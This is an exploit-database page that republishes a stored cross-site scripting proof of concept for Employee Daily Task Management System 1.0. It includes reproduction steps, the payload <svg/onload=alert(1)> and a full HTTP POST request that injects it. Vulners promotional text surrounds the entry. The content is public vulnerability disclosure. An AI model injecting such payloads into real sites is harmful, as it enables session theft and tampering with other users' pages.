Lucene search
K

Employee Daily Task Management System 1.0 - 'Name' Stored Cross-Site Scripting (XSS)

🗓️ 10 Nov 2021 00:00:00Reported by Ragavender A GType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 414 Views

Employee Daily Task Management System 1.0 - 'Name' Stored Cross-Site Scripting (XSS) exploi

Code
# Exploit Title: Employee Daily Task Management System 1.0 - 'Name' Stored Cross-Site Scripting (XSS)
# Date: 09/11/2021
# Exploit Author: Ragavender A G
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/edtms.zip

# Version: v1.0

# Tested on: Windows 10

*Exploit:*

1. Navigate to the URL, http://localhost/edtms/edtms/admin/?page=maintenance
2. Add New department with the following value:

   - Name: *<svg/onload=alert(1)>*

3. Save the Department and refresh the page, which should trigger the payload.

*PoC:*

POST /edtms/edtms/Actions.php?a=save_department HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 49
Origin: http://localhost
Connection: close
Referer: http://localhost/edtms/edtms/admin/?page=maintenance
Cookie: PHPSESSID=bmh8mhmk3r0rksta56msbl7dn3

id=&name=%3Csvg%2Fonload%3Dalert(100)%3E&status=1

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Nov 2021 00:00Current
7High risk
Vulners AI Score7
414